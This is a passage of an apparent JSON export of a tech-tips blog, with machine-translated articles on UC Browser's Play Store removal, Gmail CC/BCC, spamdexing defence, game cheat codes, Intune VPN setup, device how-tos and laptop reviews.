software, Windows 10 error correction tool today"},{"body":"Latest update: Currently users can download UC Browser from Google Play Store normally.\nUpdate: It seems that UC Browser suddenly disappeared from Google Play Store is only temporary. A browser user who works in the browser field stated that he received an email confirming that: UC Browser was removed from Play Store within 30 days because it uses misleading and unfair marketing methods. to increase installation.\nComparing with Artem Russakovskii's post, the founder of Android Police on Reddit revealed details about email received a few days ago from UC Union, UCWeb's advertising network. Email, for advertising partners, has content that prohibits any and all malicious and confusing advertising methods to find new users when promoting UC Browser campaigns.\n  The timing of the email showed that UC Web's affiliates used deceptive advertising to increase UC Browser downloads. Considering Google's recent announcement about removing this behavior on Chrome, we won't be surprised when the same applies to Play Store links.\nNeither Google nor UC Web has made any specific comments on this issue.\n  UC Browser is removed from Google Play Store\nBefore that, November 14: UC Browser on Android seems to have been removed from Google Play Store. The very popular browser on this phone has disappeared without a warning. This happened only weeks after UC Browser reached 500 million downloads on Google's app store.\nIf you do not know, UC Browser was developed by UC Web, a company of Alibaba Group of Jack Ma. On the phone, UC Browser is a favorite choice for many users, replacing Chrome in China, even in Vietnam. UC Browser also has a large fan base in India. Although Chrome is still trying to improve and has regained some advantages, in June, UC Browser became the favorite phone browser in India, there were times when it held more than 50% market share. This is also the 6th most downloaded Android application in India.\nThe disappearance of UC Browser is detected by a user on Reddit. Previously, in August, there were reports that UC Browser had a bad behavior of stealing user data and sending it to remote servers in China without the user's consent. According to an Indian report, in an extensive survey of data security, Indian government officials expressed concern that the UC Browser application continues to collect this data even when it was be uninstalled.\nUC Browser has also been scrutinized for data security issues in the past. In 2015, Canadian researchers announced that the Chinese and English versions of UC Browser \"easily provide third parties with personally identifiable information such as location, search details, mobile subscriber numbers. dynamics and equipment \".\nThere is currently no evidence to confirm or deny these doubts. UCWeb previously denied any wrongdoing, saying \"will not do anything that violates user trust\" and that \"privacy and privacy are taken very seriously\".\nWe will monitor any official information on this issue and update you. In the meantime, it should be noted that UC Browser Mini, a UC Browser replacement application is built for devices with weak hardware, still exists on Play Store.\nSee also: Firefox 57 Quantum here, great Mozilla!\nncG1vNJzZmismaXArq3KnmWcp51kwqR5waumsKuVp3q4rdJmqZ6ln6uypXnFq6amZZekvKi4xGanpZmpYsC1u9GeZJudk5bCtLGMqJ1mrJiaera6x56YpayYrnq2v8Rmpp9lpKe2pLfS\n","link":"/post/uc-browser-was-removed-from-google-play-store-because-of-the-unhealthy-use-of-tricks/","section":"post","tags":null,"title":"UC Browser was removed from Google Play Store because of the unhealthy use of 'tricks'"},{"body":"You see Cc and Bcc in the recipient email entry in Gmail, you don't know what these two sections are? And when to use them? To know what CC and BCC in Gmail are, please refer to the article below.\n  Below is an article to share information and specific examples for you to understand CC and BCC in Gmail?\nWhat are CC and BCC in Gmail? Normally when you only need to send an email to one person, you will not pay attention to CC and BCC . CC and BCC will appear on the recipient to ( To) the new compose window.\n  When you email multiple people at the same time, CC and BCC will be of great help to you.\nCC stands for Carbon copy , BCC stands for Blind carbon copy . You can understand simply CC and BCC are all copies of the main email used to send to many people. The mail in CC and BCC when you enter will receive emails with the same content, but it will be different in the list of recipients.\nWhen you use CC , all contacts in the CC recipient list can see each other's mail addresses.\nAs for BCC , there is no contact in the list of BCC recipients who knows this email to whom, but only see this email sent to one of their gmail.\nAlso in Gmail if you do not select CC or BCC when sending mail, by default when sending an email to a multi-contact group, the message will be sent as CC .\nWhen should I use CC? Use CC when you send a public email, no need to secure the mail in the list of received mail. For example, send documents to students in a class, send documents to members of a group .\nAll contacts in CC will know who this email is for.\nFor example when using CC to send mail in Gmail.\nYou send a message to a group of Gmail, in the recipient you choose CC and enter the contact to send and send email.\n  As a result all recipients in CC will receive an email and will see who this email was sent to when clicking to view the recipient list.\n  When to use BCC?\nUse BCC when you want to send email to many people and need to keep information about other contacts confidential. The contacts entered in BCC will be confidential, no one can see who this email is for.\nFor example when using BCC to send mail in Gmail.\nYou compose the letter, then in the recipient you choose BCC and enter the contacts to receive mail to send.\n  As a result, every recipient in BCC will receive an email but only see the email sent to them.\n  For example using CC and BCC To better understand CC and BCC in Gmail, please see the example below.\nFor example, you send mail to a main mail, CC is another mail, BCC is another mail as shown below.\n  The two gmail in the To (main recipient) and CC sections receive mail and only know that this message is sent to two mails without even knowing this message will be sent to BCC mail .\n    Gmail in BCC receives mail and knows it is sent to three people who are gmail in To, CC, BCC.\n  Hopefully with the content that the article shared about CC and BCC you will be able to better understand CC and BCC while sending emails from Gmail. Depending on the specific mailing purpose, you can choose CC or BCC accordingly. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02aYq51dmLBurc2dZJubk2K2r3nGppiipA%3D%3D\n","link":"/post/what-are-cc-and-bcc-in-gmail/","section":"post","tags":null,"title":"What are CC and BCC in Gmail"},{"body":"In digital marketing and online advertising, Spamdexing is one of the most popular 'hacking' methods to boost search engine rankings. A new report released by the security organization Sucuri revealed that more than half of the hacked websites in 2018 were used by hackers for SEO fraud activities. These types of hacks are primarily aimed at website visitors in order to manipulate the success of SEO campaigns and their rankings in Google, Bing or other search engines.\n  What is spamdexing? Spamdexing (also called search spam, search engine spam or web spam) is an attempt to manipulate search engine rankings and generate traffic, and then use them to deploy fraudulent activities. Designed for malicious purposes.\nTo do this, the hacker will first try to gain access to a normal, legitimate website, and then spam keywords, irrelevant terms and links to attract traffic to the games. various frauds. This trick can trick users into believing that they have visited a real website they are looking for, but are actually fooled into visiting an unrelated website. For example, an online seller created a website and stuffed thousands of keywords related to a famous singer, in order to make his website appear on the search results page when fans of The other singer does a query with related keywords.\nTypes of Spamdexing Spamdexing can be implemented via:\nSpam link Keyword spam Spam posts and pages Harm of Spamdexing By gaining access to a legitimate website and cramming links and keywords, hackers will create a link to their fraudulent websites. Instead of being ranked in the way that most legitimate websites follow, hackers will go through spamdexing to help malicious websites rank high on search engines.\nDealing with Spamdexing Spamdexing is always a threat to legitimate website owners. The most effective way to cope is to not allow hackers to gain control of the website. Some measures to be implemented include:\nRun new updates: - Should update the website's plugins and applications to the latest security patch. Ignore updates that can make your website easy to become spamdexing targets. Create strong passwords: - Using strong and unpredictable passwords, especially to protect access to sensitive areas of the website, is important. Check regularly: - Scanning websites regularly helps owners capture all the security issues that exist on their website. Using firewalls: - Web application firewall (WAF) is an absolute solution to help prevent spamdexing. ncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWjpa6usMSxoKefXZ28uHnTqGScp6Ca\n","link":"/post/what-is-spamdexing-how-to-cope/","section":"post","tags":null,"title":"What is spamdexing? How to cope?"},{"body":"AOE 2, also known as Empire 2, was the first version to be released in 1999 on Microsoft Windows and Macintosh operating systems. This is the second in a series of Age of Empires games, after which there are two additional expansion versions of AOE 2, Age of Empires: The Conquerors, Age of Empires: The Age of Kings, respectively. 2000 and 2001.\nAoe 2 version has recently been remade Microsoft with the name Age of Empires II: Definitive Edition and will be released on November 14.\nLike the first version, players always need cheat codes, codes that help them have advantages over other people in the game. Here is the Aoe 2 cheat for you to use.\nPractice installing Cheat Engine and using Cheat Engine when playing games Summary of Grand Theft Auto code: San Andreas Summary of GTA cheat code for Pirates Street IV game Empire Code 2   Rock On: 1000 stones Robin Hood: 1000 gold Lumberjack: 1000 wood Jimmy's Cheese Steak: 1000 food Marco: Open the map Polo: Turn off the blur area on the map Aegis: Build fast Wimpywimpywimpy: Self-destruct Black death: All enemies die Woof woof: The bird turns into a flying dog How do you turn this on: Call a car that shoots very fast and strong I r winner: Win the match immediately Resign: Self-destruct Torpeto (1-8): Destroy enemies from numbers 1 to 8, for example \"torpeto 1\" is to destroy the enemy No. 1 in the list. Natural Wondes: Control is interesting I love the monkey head: Monkey paving the way in Town Center Tosimthereens: Giving you a destructive enemy Furnious the monkey boy: A red monkey in Town Center Bigbrther: Summon a Big Brother with a rocket Helloknight: Increases the health of Palladin to 192 Bigdaddy: Summon a car with a cannon 800: Set the resolution to 800x600 1024: Set the resolution of 1024x768 1280: Set the resolution of 1280x1024 Autompsave: Turn on auto save game mode Above is the synthesis of cheat aoe 2, code aoe 2 for you to use in the game. To turn on the bar type code enter the game, press Enter and write the code into it.\nncG1vNJzZmismaXArq3KnmWcp51ksKmxwK1kmqeVYn9uwMeeZJqnlWJ%2Fbq%2FOnZxmmZyherW0xGakqKukYrCwuc%2BlnK2d\n","link":"/post/cheat-aoe-2-the-aoe-2-code-all-the-most-complete/","section":"post","tags":null,"title":"Cheat Aoe 2, the Aoe 2 code all the most complete"},{"body":"Always On VPN is deployed and managed very differently than DirectAccess. It requires an Active Directory (on-premises) and clients must be connected to the domain.\nWhile DirectAccess uses Group Policy to distribute configuration settings, Always On VPN is designed to use Mobile Device Management (MDM) platforms like Microsoft Intune. Using Intune, administrators can create and deploy distributed VPN profiles for any Windows 10 device anywhere.\nHow to create a Windows 10 Always On VPN profile with Intune To create a Windows 10 Always On VPN profile with Intune, open the Intune control panel and perform the following steps:\n1. Click Device Configuration .\n2. Click Profiles.\n3. Click Create Profile.\n Click Create Profile 4. Enter a name for the profile in the Name field .\n5. Select Windows 10 and later from the Platform drop-down list.\n6. Select VPN from the Profile type drop-down list .\n7. Click Base VPN.\n8. Enter a name in the Connection name field .\n9. Enter the description and IP address or FQDN of the VPN server in the Description and IP address or FQDN fields, respectively.\n10. Click True for the Default server , then click Add.\n11. Select Enable or Disable for Register IP addresses with internal DNS .\n12. Select Automatic from the Connection Type drop-down list .\n13. Select Enable to configure the VPN connection to Always On.\n14. Select Enable in Remember credentials at each logon .\n15. Select an authentication certificate in the Authentication certificate.\n16. Paste the EAP XML exported from the active template connection in the EAP Xml field .\n17. Click OK.\n Click OK 18. Click DNS Settings.\n19. Enter the DNS suffix used on the intranet in the DNS suffixes field .\n20. Click Add.\n21. Click OK.\n Enter the DNS suffix used on the intranet in the DNS suffixes field 22. Click Split Tunneling (optional).\n23. Click Enable in Split tunneling.\n24. Enter the network address (s) corresponding to the intranet in the Destination prefix and Prefix size fields .\n25. Click OK.\n Enter the network address (s) corresponding to the internal network in the Destination prefix and Prefix size fields 26. Click Trusted Network Detection (optional).\n27. Enter the DNS suffix associated with the intranet.\n28. Click Add.\n Click Add 29. Click OK twice, then click Create to create the Always On VPN profile.\nAll operations are completed!\nHow to deploy Always On VPN profile by Intune Very simple. Once the Always On VPN profile has been created, follow the steps below to assign profiles to client devices:\n1. Click Assignments.\n2. Select Selected Groups from the Assign to drop-down list .\n3. Click Select groups to include .\n4. Click the appropriate target group.\n5. Click Select.\n6. Click Save.\n Click on SavencG1vNJzZmismaXArq3KnmWcp51ksLC6xaKerqqVYq6tw8CyqmannmLDsbqMoqVmr5mjsbDD0mZoaWWnnsGpecyimquno6SztXnIp6uuppU%3D\n","link":"/post/configure-always-on-vpn-in-windows-10-with-microsoft-intune/","section":"post","tags":null,"title":"Configure Always On VPN in Windows 10 with Microsoft Intune"},{"body":"Starting with iOS 9 operating system, Apple has switched to setting up 6-digit password instead of 4 characters as before. This according to Apple will increase the security of the device more, when the iPhone password sequence will have more new characters. However, some people still prefer using 4-digit passwords, shorter passwords instead of 6 new ones. So how to transfer password settings from 6 numbers to 4 numbers on iPhone / iPad? How to transfer 4-digit passcode on iPhone is very simple and you can refer to the article below.\nHow to set super strong iPhone password to hackers also \"give up\" How to recover limited passwords on iPhone without jailbreak View saved passwords on iOS 11 How to switch to 4-digit password for iPhone / iPad Step 1:\nOn the device, we access the Settings and then go to Touch ID \u0026amp; Passcode . If using iPhone X, this item will be Face ID \u0026amp; Passcode. Then enter the device's current password .\n   Step 2:\nSwitch to the new interface and click Change Passcode to change the password. Then, enter the password currently used for the device.\n   Step 3:\nThe interface for entering a new password appears. Here you do not enter a new password because it is in 6-character mode. Click on Passcode Options to customize the password range for the device. A list of options for the 4-Digit Numberic Code password appears.\nFinally you just need to enter the new 4-digit password for iOS device is finished. The device will ask for a password confirmation again and you wait a while for the iPhone password registration process to complete.\n    Switching the iPhone password from 6 digits to 4 will help you save the press operation, or some people who do not want to remember many characters can switch to 4-digit password. However, you need to be careful in securing your iPhone.\nSee more:\nHow to use password management Lockbox in Firefox Quantum 3 ways to display passwords *** on the browser is extremely simple How to view the password, delete the saved password on Chrome I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYyip6Gnnpp6sa3SrK6oqpRiwbB5k2alrqWSmr%2B0\n","link":"/post/how-to-change-iphone-password-to-4-numbers/","section":"post","tags":null,"title":"How to change iPhone password to 4 numbers"},{"body":"However, it should be noted that to be able to support the PS5 DualSense controller, your iPhone or iPad must be running iOS 14.5, iPadOS 14.5 or later versions. Therefore, proceed to check and update your device to the latest operating system versions before you begin.\nSo how to connect PS5 Dualsense controller to iPhone, iPad? Let's find out right here.\nConnect PS5 controller to iPhone or iPad First, put your DualSense controller into pairing mode by holding down the PlayStation icon button and the Create button simultaneously.\n(The Create button is located directly above the D-Pad on the left, while the PlayStation logo key is located between the two analog sticks.)\n  Once the controller is in pairing mode, you'll see the light around the DualSense controller's touchpad turn blue and flash twice quickly before going dark.\nNow, open your iPhone or iPad, tap the gear icon on the screen to access the Settings app, and select 'Bluetooth'.\n  In the 'Other Devices' section you will see a new device called 'DualSense Wireless Controller'. Click that.\n  The DualSense controller should now be connected to your iPhone or iPad. Once the connection is established successfully, you will see the controller LEDs change to orange on either side of the touchpad, while the lights on the PlayStation button will show a single white color.\nFind iPhone and iPad games compatible with PS5 controllers As mentioned, not every game on your iPhone or iPad also supports team mode with a dedicated controller. Fortunately, there are many great games on iOS or iPadOS that support this feature. You can visit https://controller.wtf/mfi-games for a full list of such games.\nIf you're signed up for an Apple Arcade subscription, you'll find many games on the service that work with the DualSense controller. To check if any Apple Arcade game has controller support, simply visit the game's App Store page and scroll to the bottom.\nLook at the 'Supports' section just below the link to the developer site and privacy policy. If the game comes with controller support, you'll see 'Game Controllers' listed here.\n  Wish you have moments of complete entertainment on your device.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo7umr9NmmGaoo2p6pLvNramopJyav27AzmaYp2WZpbWwusRmpqtlmaWupQ%3D%3D\n","link":"/post/how-to-connect-a-ps5-controller-to-an-iphone-or-ipad/","section":"post","tags":null,"title":"How to Connect a PS5 Controller to an iPhone or iPad"},{"body":"Microsoft PowerPoint currently offers a number of relatively intuitive Gantt chart templates to choose from. Here's how to choose a template and customize a Gantt chart on this popular slideshow tool.\nCreate a new Gantt chart in PowerPoint To get started, open the Microsoft PowerPoint app and select the ' New ' tab in the options pane on the left.\n  In the template search box, enter the keyword ' Gantt Chart ' and press ' Enter '.\n  There will be 5 Gantt chart templates appearing in search results. Choose the template best suited to your project by clicking on the chart. In this example, we will use a template named ' Blue Two Year Gantt Chart '.\n There are 5 Gantt chart patterns\nAfter clicking to select the template, a window will immediately appear, showing you a preview of the selected template. Click ' Create '.\n  You can now begin to customize the Gantt chart that appears on the first slide in PowerPoint.\n Customization start\nFirst, edit the title areas to reflect your project's content, including the corresponding timelines (Year) and tasks (Tasks). To do this, just click in the text box and type in the text you want.\n Edit column headers\nThe icons in the top left and bottom right corner of the Gantt chart represent (1) the start date and (2) the release date of the project. You can edit timelines by clicking on the date, then entering the start date and release date of the project respectively.\n  When you've finished editing the content, you can switch to adjusting the length (which represents the duration of the task / project) of the taskbars. To do this, click on the taskbar you want and drag to adjust the length accordingly. You can also adjust the start / stop markers by clicking and dragging them to their respective positions.\n  Change the Gantt chart colors If you want to change the colors to match the spirit of your project or company logo, click to select the item for which you want to correct the color. Then navigate to the ' Format ' tab , click on ' Shape Styles ' and choose ' Shape Fill '. From the drop-down menu that appears, choose the color you want to use.\n  There are also other nice customization options, such as changing the color of the border by selecting a color in 'Shape Outline'. Or you can even add advanced effects, such as shadows, by selecting the desired effect under ' Shape Effect '.\n  That's all it takes to create a Gantt chart in PowerPoint. How to design the chart depends on what you want. But the general rule of thumb is to follow the spirit of the project, and keep the chart as intuitive as possible by adding only what's needed.\nMicrosoft PowerPoint ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyilsRurYygmKespGKwqa3RrWSipl2lvLix0ammoqak\n","link":"/post/how-to-draw-a-gantt-chart-in-powerpoint/","section":"post","tags":null,"title":"How to draw a Gantt chart in PowerPoint"},{"body":"The 403 Forbidden error is an HTTP status code error, which means that the page or source being accessed is completely banned for some reason. Different web servers report 403 errors in different ways, some website owners even customize the HTTP 403 error, but not common.\nCommon computer errors and remedies (Part 1) Error message 403 Here are the common 403 error messages:\n403 Forbidden HTTP 403 Forbidden: You do not have permission to access [directory] on this server (Prohibited: You do not have access to [directory] on this server) Forbidden Error 403 HTTP Error 403.14 - Forbidden Error 403 - Forbidden HTTP Error 403 - Forbidden   403 Forbidden error displayed inside the browser window, like web pages. Error 403 is the same as all errors of this type can appear in any browser on all operating systems. In Internet Explorer, the message \"The website changed to show this webpage\" is the 403 Forbidden error, IE's title bar records 403 Forbidden or the like.\nError 403 occurs when opening a link via Microsoft Office programs, the message Unable to open [url] appears. Không thể tải thông tin bạn yêu cầu (Cannot open [url]. Cannot download the information you requested ) within the MS Office program.\nWindows Update also reports an HTTP 403 error, but it will display as error code 0x80244018 or with the following message: WU_E_PT_HTTP_STATUS_FORBIDDEN.\nThe cause of 403 Forbidden error Error 403 usually occurs when trying to access a website or the source does not have access.\nNote: Microsoft IIS web servers provide specific information about the cause of the 403 Forbidden error by combining a number after 403, as in a 403.14 - Forbidden HTTP error, which means that the directory list is lost deny.\nHow to fix a 403 Forbidden error 1. Check the URL error and make sure to specify the correct file name and extension, not the directory. Most websites are configured to not allow directory browsing, so a 403 Forbidden error message will appear when displaying a folder instead of a specific page.\nNote: This is the most common reason causing 403 Forbidden errors. Check your kidneys carefully before taking the following remedies.\nTip: If you are a website owner and do not want to create a 403 error in this case, turn on directory browsing in the web server software.\n2. Clear the browser cache. The problem with the site's cache may cause 403 Forbidden issues.\n3. Log in to the site. In some cases users need to perform additional access such as logging into the site before being able to view the page. This operation can fix the 403 error.\nTypically, a website generates a 401 Unauthorized error when requesting special permissions but it is sometimes replaced with a 403 Forbidden error.\n4. Delete browser cookies.\nAutomatically delete Cookies when exiting Google Chrome browser 5. Contact the site directly. The admin of the site may not know about the 403 Forbidden error, please find contact information on the site to inform them about this error. Most websites have a technical support social network account, some even provide email addresses and phone numbers.\n6. Contact your Internet service provider if you still get a 403 error while your friends still have access to the site. It is possible that your public IP address or ISP has been blacklisted, creating a 403 Forbidden error.\nAccess websites blocked by ISP Instructions on how to determine the IP address on the computer 7. Visit the website at another time. When verifying the correct access page and everyone has the same error as you, visit the page after the error has been fixed.\nError with the 403 Forbidden error The following messages are also client-side errors and involve 403 Forbidden errors: 400 Bad Request, 401 Unauthorized, 404 Not Found, and 408 Request Timeout. There are several HTTP status codes on the server side like 500 Internal Server Error and some other errors.\nSee also: How to fix 503 Service Unavailable errors\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXp1fJJmnaiqkp6xpbHNZpyrqp%2Bn\n","link":"/post/how-to-fix-403-forbidden-error/","section":"post","tags":null,"title":"How to fix 403 Forbidden Error"},{"body":"Everyone sometimes has to move to different height positions and some people want to measure that vertical movement. That is why there are so many altimeter applications. You can use your phone location to perform 2D street-level navigation all the time, but similar satellites can also help you find altitude from the surface of the earth (not the altitude). with sea level). Combined with an atmospheric pressure sensor and data connection (if available), the smartphone can help you read surprisingly accurate heights.\nTop 5 altimeter applications with smartphones How does the phone measure altitude above sea level? How does the phone measure altitude from the surface of the earth? 5 altimeter applications for phones 1. Altimeter \u0026amp; Altitude Widget 2. Altimeter GPS - Hike \u0026amp; Trek 3. Altimeter Ler 4. My Altitude 5. Altimeter (by EXA)  Should you use a true altimeter? How does the phone measure altitude above sea level?   A lot of the elevation changes above sea level have been mapped by geospatial survey projects, so most pairs of latitude longitude coordinates can be used for elevation lookups. corresponding. However, this usually requires data and is only accurate for you personally, if you stand on the ground.\nHow does the phone measure altitude from the surface of the earth? The most important tool for measuring altitude from the earth's surface in your arsenal is the GNSS / GPS receiver. If your phone can find at least 4 satellites, with one satellite directly above your head, you can usually read the height from the earth's surface precisely within 10 to 20 meters (35 to 70 feet). While good satellite reception is not always guaranteed, and calculating altitude from the earth's surface based on GPS works in most cases, it can still be quite buggy. .\n  That is why many modern phones are also equipped with atmospheric pressure sensors (manometers). Because gravity pulls everything down to the earth, including the atmosphere, the pressure will drop as your altitude increases from the surface of the earth. Measuring this change helps the phone find the height to rise or fall.\nHowever, changing weather can also affect atmospheric pressure, so most altitude applications from the earth's surface will try to get the latest pressure data from the gas station. nearby statues. This gives the application something to compare the pressure changes. Altitude measurements from the earth's surface based on a manometer can still work without a data connection, but you may need to calibrate it manually.\nThere are tons of apps that measure the altitude of the earth's surface and altitude for iPhones, as well as Android, and to be honest, their accuracy isn't much different. The best apps, though, like the ones below, go beyond simple measurements to provide other environmental data and monitoring features.\n5 altimeter applications for phones 1. Altimeter \u0026amp; Altitude Widget   This app from DS Software uses location, barometer and geospatial survey data to help you get accurate elevation data from the earth's surface and altitude above sea level, along with it's a series of maps and features that allow you to record, as well as graph your altitude trend graph. Being able to easily switch between altitude (SRTM and USGS settings) and altitude from the surface of the earth (GPS and Bar) is a great feature, as comparing these two numbers has can help you understand the accuracy of the altitude from the earth's surface. If you have a manometer, the app also offers a range of calibration options, which allow you to get data from the nearest airport or manual settings. The level of detail and diversity of altitude / elevation settings from the earth's surface and tracking features make this an excellent option.\n2. Altimeter GPS - Hike \u0026amp; Trek   This iOS app comes with a standard altimeter, barometer and compass, plus a pedometer and cruise tracking so you can visualize your distance and altitude changes. There is an SOS feature that can even automatically send someone your location in an emergency. However, it is the trip tracking feature that makes this app different, as there are many altimeter apps on iOS that don't come with this feature.\n3. Altimeter Ler   This app design makes you feel like you are in an airplane cockpit. Altimeter Ler gives you complete information on location and environmental conditions, along with many useful maps and tracking features. The application can calculate the height from the earth's surface based on both GPS data and manometer, even let you know the error of GPS data being received. Altimeter Ler doesn't have visual tools to track elevation changes from the earth's surface or elevation data, but it comes complete with other features to compensate. for those shortcomings.\n4. My Altitude Download My Altitude for Android Download My Altitude for iPhone   This app has some issues with Android, but is probably the best altitude-earth app for iPhones. You get everything you need here: Altitude from the surface of the earth, coordinates, atmospheric pressure, boiling point of water, weather - even NOAA data you can download to use Offline application. My Altitude doesn't come with any tracking or graphing features, but it does have a tool that allows you to take photos with altitude from the earth's surface, time and coordinates attached.\n5. Altimeter (by EXA)   The EXA altimeter for Android doesn't provide a lot of additional data, but its interface is easy to read and Altimeter's tracking feature could actually be one of the best options on this list. , thanks to a nicely presented elevation change chart. Altimeter comes with lots of ads (you can remove these ads by paying) and the app itself works very well.\nShould you use a true altimeter? If none of the above options meets your needs, you can keep an eye on a true altimeter, instead of using a phone. The good news is that this may not be necessary, if the phone has a GNSS chipset and a manometer, as tests have shown that smartphones and altometers have similar accuracy.\nWish you find yourself a suitable choice!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWVlsC2vsRmn56hl53BbsPIrZ9mmV2ouqK%2B06mfqKaV\n","link":"/post/how-to-measure-height-with-a-smartphone/","section":"post","tags":null,"title":"How to measure height with a smartphone"},{"body":"The introduction of emoticons when texting or chatting has brought a rich change to users. Instead of using text content like before, you can use emoticons, which make the chat content more interesting.\nOn the familiar Skype chat application, emoticons with many rich and unique themes will create more choices for users. However, some people using Skype feel quite annoying with the large size of those emoticons. By default, the emoticons on Skype will be large, sometimes causing the chat content to float. If you're feeling bothered by emoticons and want to minimize them on Skype, follow the article below.\nStep 1: First of all, you sign in to your Skype account on your computer. At the main interface, click on Tools and select Options , or press Ctrl +,.\n  Step 2: Next to the interface Options, we find the item IM \u0026amp; SMS and then select IM appearance in the menu on the left of the interface.\n  Step 3: Next, you look at the interface on the right and uncheck the box at Show large emoticons and click Save to save the changes for Skype.\n  Now go back to the chat window interface on Skype and try some emoticon icons and you will see the size shrink.\n  The above is a small trick when we use the Skype application, minimize the emoticon in the chat window. With a small size for these emoticons, you will have more space to chat with friends.\nRefer to the following articles: Guide to chat with lots of Skype nick on the same computer Guide to viewing message history on Skype Instructions for creating chat groups on Skype I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWZo7autdmeZJ6ln6m2pLvNrGSwoJWjeqS0wK2roqaXYryvedKksKmd\n","link":"/post/how-to-minimize-emoticons-when-chatting-on-skype/","section":"post","tags":null,"title":"How to minimize emoticons when chatting on Skype"},{"body":"ThinkPad X240 is equipped with Haswell chip with the most advanced model is Core i7 chip, maximum RAM of 8 GB, HDD 1 TB HDD or SSD drive.\nBesides the ThinkPad T series of ThinkPad T440s and T440, Lenovo also released a new model of the ThinkPad X series, the ThinkPad X240 . The X240 has a 12.5-inch screen, weighing 1.34 kg. The screen has the option of full HD resolution. Lenovo also offers touch screen options or not.\n  This is considered the model that Lenovo wants to overcome weaknesses in the previous generation. This series will be made lighter, modern design and especially black will turn gray like lead instead of black as before. The device has a size of 30.48x20.8x2 cm, quite thin but enough room for Lenovo to equip lots of connectivity ports including SD card reader, LAN Ethernet port, VGA out, HDMI, 2 USB 3.0 ports.\nLike the ThinkPad T440 and T440s, the X240 has a 3-cell battery inside the same 3 or 6 cell battery. Lenovo said that with a 6-cell external battery with a 3-cell battery and thanks to the low-voltage Haswell chip, the battery life of the device could be more than 10 hours. It also has NFC connection.\nThe ThinkPad X240 will go on sale in late October with a starting price of 1099 USD.\nSome ThinkPad X240 images:         ncG1vNJzZmismaXArq3KnmWcp51kuaa6zq%2BmZq2eq7KquMSdZK2glWLBqbXNpKeanF2tf3V8jLCgraBdoryzsYytn5qmXWZ9brTOrqmsZZ%2BbeqOt062cq7FdobansQ%3D%3D\n","link":"/post/lenovo-unveiled-the-thinkpad-x240-with-more-than-10-hours-of-battery-life/","section":"post","tags":null,"title":"Lenovo unveiled the Thinkpad X240 with more than 10 hours of battery life"},{"body":"The power comes from top-class CPUs, top-notch graphics cards, a 240Hz refresh rate monitor, and an optimized cooling system for gaming, supporting OMEN 15 to conquer all the latest AAA games at full FPS. perfect. The highlight of the OMEN 15 also comes from the 4-zone RGB Gaming keyboard, high-end Bang \u0026amp; Olufsen audio, and especially the Omen Command Center driver for gamers to push the limits of the game. Finally, the high-end and diverse accessory ecosystem will also satisfy every gamer's expectation from the first experience.\nChallenging the limit with hardware caught up the game trend Don't let the slim, elegant design fool the hardware performance of this machine. Despite the thickness of only 2cm, weighing about 2.5kg, OMEN 15 has the highest power of Intel Core i9-9980H CPU with 16 cores and maximum clock speed of 4.5GHz and NVIDIA GeForce RTX graphics card. 2080 Max-Q (8GB GDDR6). The device features NVIDIA Realtime ray tracing technology from NVIDIA for shading technology, creating the most realistic depth; Bring gamers the experience of vivid images, especially in the blockbuster AAA games.\nOMEN 15 is like a tiger when equipped with 512GB PCIe SSD storage integrated with 32GB Intel Optane to optimize boot time, support common tasks and open blockbuster games hundreds of GB. It also has DDR4-2666 RAM supporting dual channels that can expand up to 32GB.\nUltra-thin, sharp FHD display with 240Hz refresh rate for super smooth visual experience, eliminating ghosting completely, especially useful when playing shooter games you can see for Defeat earlier and increase your chances of winning.\nIn terms of hearing experience, HP equips OMEN 15 with a range of audio enhancement technologies such as DTS: X Ultra, HP Audio Boost technology and Bang \u0026amp; Olufsen dual speaker system to bring a multi-dimensional, true experience. whether you're playing games, enjoying blockbusters, or listening to relaxing music, to video editing, making music clips.\n And finally, the most important factor that gamers care about is the cooling system. OMEN Tempest Cooling with 3-sided ventilation, 5-way airflow, 2 12V fan modules help OMEN 15 always balance the temperature - performance - noise level of the fan.\n Bringing in all the terrible configuration parameters with a series of high-end technology, the appearance of OMEN 15 is also very cool. The product has a high level of finish with a frame made of high-class and luxurious metal.\nGaming quality is expressed on OMEN 15 in a sophisticated and modern way. Prominent on the back is a strong 'X' stylized thanks to the eye-catching scratches on the mysterious black background. OMEN logo is finished in silver, creating attractive light effects in all angles. The armrests are designed with brushed aluminum material to create ruggedness with 4-color RGB keyboard can customize colors.\nEnhance your experience with OMEN Command Center and high-end accessory ecosystem\nOMEN Command Center is where gamers can monitor system performance; increase performance with 'Performance' or maintain a cool temperature to work with 'Comfort'; fan speed for instant cooling; Adjust the backlight of the computer keyboard and the LED light of the OMEN accessory.\nIn particular, with Network Booster, users can prioritize bandwidth for games. You can even set up a connection for specific applications. The Dual Force feature provides the ability to take advantage of two parallel internet links: Ethernet and WiFi. The most visible example is in the live stream of Teacher Ba. Ethernet is preferred for League of Legends battles, and the livestream is established over WiFi so it is very stable and smooth.\n To enhance the gaming experience, HP also does not forget to bring users the kit in the same ecosystem. OMEN Reactor mouse with 16,000 DPI optical sensor for extremely high speed of response and accuracy; OMEN 800 headphones possesses a high-end 53mm driver simulating every step, gunfire; OMEN Sequencer mechanical - optical keyboard with a response time of just 0.2 milliseconds and a system of 5 dedicated macro keys offers an outstanding advantage.\n Thanks to the series of great advantages mentioned above, OMEN 15 is a flexible and powerful companion of GAM eSports - the leading League of Legends team in Vietnam, former king of Vietnam Championship Series. And certainly this is also a desirable gaming laptop for every gamer.\nncG1vNJzZmismaXArq3KnmWcp51kvK6xzWZobmWTpLuywcSrZKmdopu8s7nAp5qeZZmivbO71Z5knrCgmr%2Bqsc2cnA%3D%3D\n","link":"/post/omen-15-conquer-performance-improve-experience/","section":"post","tags":null,"title":"OMEN 15 - Conquer performance, improve experience"},{"body":"Audition is a game that is not new but still has a strong attraction to young people. This is an online dance game, where you can adventure with beautiful music and dance with simple buttons. When playing this game, you can play on a real stage with friends and also connect new friends all over the country.\nHave you tried Audition dancing with FaceDance Challenge? When playing these games, Audition's followers do not talk with ordinary characters but they create extremely unique characters that only those who are Audition gamers can fully understand the content. Talking or naming game nicknames with these characters helps you to be cute and have a personal style for yourself.\nBelow is a list of special characters in 